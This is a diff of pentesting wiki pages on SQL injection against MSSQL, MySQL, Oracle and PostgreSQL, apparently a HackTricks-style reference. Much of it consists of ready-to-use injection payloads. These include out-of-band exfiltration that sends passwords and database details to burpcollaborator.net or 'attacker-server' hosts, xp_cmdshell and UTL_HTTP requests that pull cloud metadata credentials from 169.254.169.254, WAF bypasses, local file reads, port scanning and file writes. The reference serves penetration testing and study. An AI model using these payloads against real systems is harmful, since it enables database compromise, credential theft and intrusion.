`fn_get_audit_file()` example: -```text +``` https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default))) ``` @@ -63,7 +64,7 @@ https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_aud `fn_trace_gettable()` example: -```text +``` https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default)) ``` @@ -73,25 +74,25 @@ https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2 -**Information taken from** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/\#MSSQL**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)\*\*\*\* +**Information taken from **[**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)**** -\*\*\*\*[Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the ](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[Windows Registry](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). +****[Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the ](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[Windows Registry](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). One technique that keeps coming up is the usage of the undocumented stored procedure `xp_dirtree` that allows you to list the directories in a folder. This stored procedure supports UNC paths, which can be abused to leak Windows credentials over the network or extract data using DNS requests. -If you are able to execute operating system commands, then you could invoke Powershell to make a curl \(`Invoke-WebRequest`\) request. You could do this via the hacker favorite `xp_cmdshell` as well. +If you are able to execute operating system commands, then you could invoke Powershell to make a curl (`Invoke-WebRequest`) request. You could do this via the hacker favorite `xp_cmdshell` as well. Alternatively, you could also use a User Defined Function in MSSQL to load a DLL and use the dll to make the request from inside MSSQL directly. Let’s look at the above techniques in a little more detail. -#### Limited SSRF using master..xp\_dirtree \(and other file stored procedures\) +#### Limited SSRF using master..xp_dirtree (and other file stored procedures) The most common method to make a network call you will come across using MSSQL is the usage of the Stored Procedure `xp_dirtree`, which weirdly is undocumented by Microsoft, which caused it to be [documented by other folks on the Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). This method has been used in [multiple examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) of [Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) posts on the Internet. Essentially, -```text +``` DECLARE @user varchar(100); SELECT @user = (SELECT user); EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"'); @@ -103,13 +104,13 @@ Much like MySQL’s `LOAD_FILE`, you can use `xp_dirtree` to make a network requ There are other stored procedures [like `master..xp_fileexist` ](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)etc. as well that can be used for similar results. -#### master..xp\_cmdshell +#### master..xp_cmdshell The extended stored procedure [`xp_cmdshell` spawns a Windows command shell and executes the string passed to it, returning any rows of text](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql). This command is run as the SQL Server service account. `xp_cmdshell` is disabled by default. You can enable it using the SQL Server Configuration Option. Here’s how -```text +``` EXEC sp_configure 'show advanced options', 1 RECONFIGURE GO @@ -124,7 +125,7 @@ GO You could use something like [PowerCat](https://github.com/besimorhino/powercat), download the Windows port of netcat/ncat, [use raw TCP Client for arbitrary ports](https://livebook.manning.com/book/powershell-deep-dives/chapter-4/9), or simply invoke Powershell’s `Invoke-WebRequest` to make HTTP requests to perform Server Side queries. -```text +``` DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; exec ('master..xp_cmdshell ''powershell -exec -bypass -c ""(iwr '+@url+').Content""'''); @@ -135,15 +136,15 @@ GO You can additionally pass other headers and change the HTTP method as well to access data on services that need a POST or PUT instead of a GET like in the case of IMDSv2 for AWS or a special header like `Metadata: true` in the case of Azure or the `Metadata-Flavor: Google` for GCP. -#### MSSQL User Defined Function - SQLHttp +#### MSSQL User Defined Function - SQLHttp -It is fairly straightforward to write a CLR UDF \(Common Language Runtime User Defined Function - code written with any of the .NET languages and compiled into a DLL\) and load it within MSSQL for custom functions. This, however, requires `dbo` access so may not work unless the web application connection to the database as `sa` or an Administrator role. +It is fairly straightforward to write a CLR UDF (Common Language Runtime User Defined Function - code written with any of the .NET languages and compiled into a DLL) and load it within MSSQL for custom functions. This, however, requires `dbo` access so may not work unless the web application connection to the database as `sa` or an Administrator role. [This Github repo has the Visual Studio project and the installation instructions](https://github.com/infiniteloopltd/SQLHttp) to load the binary into MSSQL as a CLR assembly and then invoke HTTP GET requests from within MSSQL. The [`http.cs` code uses the `WebClient` class to make a GET request and fetch the content](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) as specified -```text +``` using System.Data.SqlTypes; using System.Net; @@ -159,15 +160,15 @@ public partial class UserDefinedFunctions } ``` -In the installation instructions, run the following before the `CREATE ASSEMBLY` query to add the SHA512 hash of the assembly to the list of trusted assemblies on the server \(you can see the list using `select * from sys.trusted_assemblies;`\) +In the installation instructions, run the following before the `CREATE ASSEMBLY` query to add the SHA512 hash of the assembly to the list of trusted assemblies on the server (you can see the list using `select * from sys.trusted_assemblies;`) -```text +``` EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` Once the assembly is added and the function created, we can run the following to make our HTTP requests -```text +``` DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SELECT dbo.http(@url); @@ -179,11 +180,11 @@ SELECT dbo.http(@url); ## **Quick exploitation: Retrieve an entire table in one query** -**\(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**\)** There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it. +**(From **[**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it. The query to retrieve the schema, tables and columns from the current database: -```text +``` https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- ``` @@ -191,7 +192,7 @@ https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,ta Error-based vectors need an alias or a name, since the output of expressions without either cannot be formatted as JSON. -```text +``` https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- ``` @@ -199,9 +200,9 @@ https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_n ## **Reading local files** -**\(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**\)** An example of retrieving a local file `C:\Windows\win.ini` using the function OpenRowset\(\): +**(From **[**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**) **An example of retrieving a local file `C:\Windows\win.ini` using the function OpenRowset(): -```text +``` https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:\Windows\win.ini’,SINGLE_CLOB)+R(x)),null,null ``` @@ -209,7 +210,7 @@ https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+ Error-based vector: -```text +``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` @@ -217,9 +218,9 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w ## **Retrieving the current query** -**\(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**\)** The current SQL query being executed can be retrieved from access `sys.dm_exec_requests` and `sys.dm_exec_sql_text`: +**(From **[**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**) **The current SQL query being executed can be retrieved from access `sys.dm_exec_requests` and `sys.dm_exec_sql_text`: -```text +``` https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null ``` @@ -229,15 +230,15 @@ https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_ ## **Little tricks for WAF bypasses** -**\(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**\)** Non-standard whitespace characters: %C2%85 или %C2%A0: +**(From **[**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**) **Non-standard whitespace characters: %C2%85 или %C2%A0: -```text +``` https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- ``` -Scientific \(0e\) and hex \(0x\) notation for obfuscating UNION: +Scientific (0e) and hex (0x) notation for obfuscating UNION: -```text +``` https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- @@ -245,13 +246,12 @@ https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- A period instead of a whitespace between FROM and a column name: -```text +``` https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- ``` \N seperator between SELECT and a throwaway column: -```text +``` https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ``` - diff --git a/pentesting-web/sql-injection/mysql-injection/README.md b/pentesting-web/sql-injection/mysql-injection/README.md index 8e652700..ee3a4f40 100644 --- a/pentesting-web/sql-injection/mysql-injection/README.md +++ b/pentesting-web/sql-injection/mysql-injection/README.md @@ -1,6 +1,6 @@ # MySQL injection -**This is a basic flow of how to confirm and perform a basic MySQL Injection. For more information go to:** [**https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md**](https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md)\*\*\*\* +**This is a basic flow of how to confirm and perform a basic MySQL Injection. For more information go to: **[**https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md**](https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md)**** ## Comments @@ -16,7 +16,7 @@ ### Confirm Mysql: -```text +``` concat('a','b') database() version() @@ -58,7 +58,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/] ## Flow -Remember that in "modern" versions of **MySQL** you can substitute "_**information\_schema.tables**_" for "_**mysql.innodb\_table\_stats**_**"** \(This could be useful to bypass WAFs\). +Remember that in "modern" versions of **MySQL **you can substitute "_**information_schema.tables**_" for "_**mysql.innodb_table_stats**_**" **(This could be useful to bypass WAFs). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables @@ -89,7 +89,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges Using a simple ORDER -```text +``` order by 1 order by 2 order by 3 @@ -113,23 +113,23 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ## SSRF -**Learn here different options to** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** +**Learn here different options to **[**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** ## WAF bypass tricks -### Information\_schema alternatives +### Information_schema alternatives -Remember that in "modern" versions of **MySQL** you can substitute _**information\_schema.tables**_ for _**mysql.innodb\_table\_stats**_ ****or for _**sys.x$schema\_flattened\_keys**_ or for **sys.schema\_table\_statistics** +Remember that in "modern" versions of **MySQL **you can substitute _**information_schema.tables**_ for _**mysql.innodb_table_stats**_** **or for _**sys.x$schema_flattened_keys **_or for **sys.schema_table_statistics** -![](../../../.gitbook/assets/image%20%28316%29.png) +![](<../../../.gitbook/assets/image (154).png>) -![](../../../.gitbook/assets/image%20%28340%29.png) +![](<../../../.gitbook/assets/image (155).png>) ### MySQLinjection without COMMAS -Select 2 columns without using any comma \([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)\): +Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): -```text +``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` @@ -143,7 +143,7 @@ select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -Supposing there is 2 columns \(being the first one the ID\) and the other one the flag, you can try to bruteforce the content of the flag trying character by character: +Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character: ```bash # When True, you found the correct char and can start ruteforcing the next position @@ -154,11 +154,11 @@ More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14 ### MySQL history -You ca see other executions inside the MySQL reading the table: **sys.x$statement\_analysis** +You ca see other executions inside the MySQL reading the table: **sys.x$statement_analysis** ### Version alternative**s** -```text +``` mysql> select @@innodb_version; +------------------+ | @@innodb_version | @@ -180,4 +180,3 @@ mysql> mysql> select version(); | 5.6.31-0ubuntu0.15.10.1 | +-------------------------+ ``` - diff --git a/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md b/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md index e593888d..ffbc343b 100644 --- a/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md +++ b/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md @@ -1,8 +1,8 @@ # Mysql SSRF -**Post copied from** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/\#mysqlmariadbpercona**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#mysqlmariadbpercona)\*\*\*\* +**Post copied from **[**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#mysqlmariadbpercona**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#mysqlmariadbpercona)**** -### Using LOAD\_FILE/LOAD DATA/LOAD XML +### Using LOAD_FILE/LOAD DATA/LOAD XML Every SQL Out of Band data exfiltration article will use the `LOAD_FILE()` string function to make a network request. The function itself has its own limitations based on the operating system it is run on and the settings with which the database was started. @@ -20,9 +20,9 @@ This Server Side Request Forgery, although useful, is restricted to only TCP por ### Using User Defined Functions -Another cool technique with MySQL databases is the ability to use User Defined Functions \(UDF\) present in external library files that if present in specific locations or system $PATH then can be accessed from within MySQL. +Another cool technique with MySQL databases is the ability to use User Defined Functions (UDF) present in external library files that if present in specific locations or system $PATH then can be accessed from within MySQL. -You could use a SQL Injection to write a library \(`.so` or `.dll` depending on Linux or Windows\), containing a User Defined Function that can make network/HTTP requests, that can be then invoked through additional queries. +You could use a SQL Injection to write a library (`.so` or `.dll` depending on Linux or Windows), containing a User Defined Function that can make network/HTTP requests, that can be then invoked through additional queries. This has its own set of restrictions though. Based on the version of MySQL, which you can identify with `select @@version`, the directory where plugins can be loaded from is restricted. MySQL below `v5.0.67` allowed for library files to be loaded from system path if the `plugin_dir` variable was not set. This has changed now and newer versions have the `plugin_dir` variable set to something like `/usr/lib/mysql/plugin/`, which is usually owned by root. @@ -38,7 +38,7 @@ Assuming the above conditions are met, you can use the classical approach of tra There are a lot of other functions declared in this library, an analysis of which can be seen [here](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). If you are lazy like me, you can grab a copy of this UDF library, for the target OS, from a metasploit installation from the `/usr/share/metasploit-framework/data/exploits/mysql/` directory and get going. -Alternatively, UDF libraries have been created to specifically provide the database the ability to make HTTP requests. You can use [MySQL User-defined function \(UDF\) for HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) to get the database to make HTTP requests, using the following syntax +Alternatively, UDF libraries have been created to specifically provide the database the ability to make HTTP requests. You can use [MySQL User-defined function (UDF) for HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) to get the database to make HTTP requests, using the following syntax `x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //` @@ -61,4 +61,3 @@ If the `@@plugin_dir` is not writable, then you are out of luck if the version i For automating this, you can use SQLMap which supports [the usage of custom UDF via the `--udf-inject` option](https://github.com/sqlmapproject/sqlmap/wiki/Usage). For Blind SQL Injections you could redirect output of the UDF functions to a temporay table and then read the data from there or use [DNS request smuggled inside a `sys_eval` or `sys_exec` curl command](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration). - diff --git a/pentesting-web/sql-injection/oracle-injection.md b/pentesting-web/sql-injection/oracle-injection.md index acd45bbb..07f3db8a 100644 --- a/pentesting-web/sql-injection/oracle-injection.md +++ b/pentesting-web/sql-injection/oracle-injection.md @@ -2,54 +2,54 @@ ## SSRF -**Information copied from** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/\#oracle**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle)\*\*\*\* +**Information copied from **[**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle)**** Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA. -Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com/), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker. +Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker. I ran the docker command with the `--network="host"` flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost. -```text +``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` -#### Oracle packages that support a URL or a Hostname/Port Number specification +#### Oracle packages that support a URL or a Hostname/Port Number specification In order to find any packages and functions that support a host and port specification, I ran a Google search on the [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Specifically, -```text +``` site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" ``` -The search returned the following results \(not all can be used to perform outbound network\) +The search returned the following results (not all can be used to perform outbound network) -* DBMS\_NETWORK\_ACL\_ADMIN -* UTL\_SMTP -* DBMS\_XDB -* DBMS\_SCHEDULER -* DBMS\_XDB\_CONFIG -* DBMS\_AQ -* UTL\_MAIL -* DBMS\_AQELM -* DBMS\_NETWORK\_ACL\_UTILITY -* DBMS\_MGD\_ID\_UTL -* UTL\_TCP -* DBMS\_MGWADM -* DBMS\_STREAMS\_ADM -* UTL\_HTTP +* DBMS_NETWORK_ACL_ADMIN +* UTL_SMTP +* DBMS_XDB +* DBMS_SCHEDULER +* DBMS_XDB_CONFIG +* DBMS_AQ +* UTL_MAIL +* DBMS_AQELM +* DBMS_NETWORK_ACL_UTILITY +* DBMS_MGD_ID_UTL +* UTL_TCP +* DBMS_MGWADM +* DBMS_STREAMS_ADM +* UTL_HTTP -This crude search obviously skips packages like `DBMS_LDAP` \(which allows passing a hostname and port number\) as [the documentation page](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simply points you to a [different location](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed. +This crude search obviously skips packages like `DBMS_LDAP` (which allows passing a hostname and port number) as [the documentation page](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simply points you to a [different location](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed. In any case, let’s take a look at some of the packages that we have discovered and listed above. -**DBMS\_LDAP.INIT** +**DBMS_LDAP.INIT** The `DBMS_LDAP` package allows for access of data from LDAP servers. The `init()` function initializes a session with an LDAP server and takes a hostname and port number as an argument. This function has been documented before to show exfiltration of data over DNS, like below -```text +``` SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; ``` @@ -57,7 +57,7 @@ However, given that the function accepts a hostname and a port number as argumen Here are a few examples -```text +``` SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; @@ -68,20 +68,20 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` shows that the port is closed while a session value points to the port being open. -**UTL\_SMTP** +**UTL_SMTP** The `UTL_SMTP` package is designed for sending e-mails over SMTP. The example provided on the [Oracle documentation site shows how you can use this package to send an email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). For us, however, the interesting thing is with the ability to provide a host and port specification. A crude example is shown below with the `UTL_SMTP.OPEN_CONNECTION` function, with a timeout of 2 seconds -```text +``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2); END; ``` -```text +``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2); @@ -92,13 +92,13 @@ END; A `ORA-29276: transfer timeout` shows port is open but no SMTP connection was estabilished while a `ORA-29278: SMTP transient error: 421 Service not available` shows that the port is closed. -**UTL\_TCP** +**UTL_TCP** -The `UTL_TCP` package and its procedures and functions allow [TCP/IP based communication with services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled. +The `UTL_TCP` package and its procedures and functions allow [TCP/IP based communication with services](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u_tcp.htm#i1004190). If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled. -The example [on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service. +The example [on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u_tcp.htm#i1004190). We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service. -```text +``` set serveroutput on size 30000; SET SERVEROUTPUT ON DECLARE c utl_tcp.connection; @@ -122,7 +122,7 @@ END; ![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/20.png) -```text +``` DECLARE c utl_tcp.connection; retval pls_integer; BEGIN @@ -144,11 +144,11 @@ END; Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request. -**UTL\_HTTP and Web Requests** +**UTL_HTTP and Web Requests** Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). This package is defined by the documentation as - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.` -```text +``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` @@ -156,7 +156,7 @@ select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-cr You could additionally, use this to perform some rudimentary port scanning as well with queries like -```text +``` select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; @@ -166,7 +166,5 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; A `ORA-12541: TNS:no listener` or a `TNS:operation timed out` is a sign that the TCP port is closed, whereas a `ORA-29263: HTTP protocol error` or data is a sign that the port is open. -Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE\('http://169.254.169.254/latest/meta-data/instance-id'\).getclob\(\) from dual;![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/22.png)](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) - - +Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/22.png)](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index e43f60a6..cff0086c 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -4,24 +4,24 @@ ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration -**`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**. -**These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**. +**`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.\ +**These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.\ [**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)\*\*\*\* ### **Exfiltration example using dblink and large objects** -You can [**read this example**](dblink-lo_import-data-exfiltration.md) **\*\*to see a CTF example of** how to load data inside large objects and then exfiltrate the content of large objects inside the username\*\* of the function `dblink_connect`. +You can [**read this example**](dblink-lo_import-data-exfiltration.md) **\*\*to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username\*\* of the function `dblink_connect`. ## PL/pgSQL password bruteforce -PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language. +PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.\ **You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](pl-pgsql-password-bruteforce.md)\*\*\*\* ## File-system actions ### Read directories and files -From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path \(check out `convert_and_check_filename` in `genfile.c`\).: +From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path (check out `convert_and_check_filename` in `genfile.c`).: ```sql select * from pg_ls_dir('/tmp'); @@ -34,19 +34,19 @@ select * from pg_read_file('/etc/passwd' , 0 , 1000000); copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` -Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**. +Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\ A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.** ### **Binary files upload** -However, there are **other techniques to upload big binary files**. +However, there are **other techniques to upload big binary files**.\ [**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md)\*\*\*\* ## RCE ### **RCE from version 9.3** -Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), 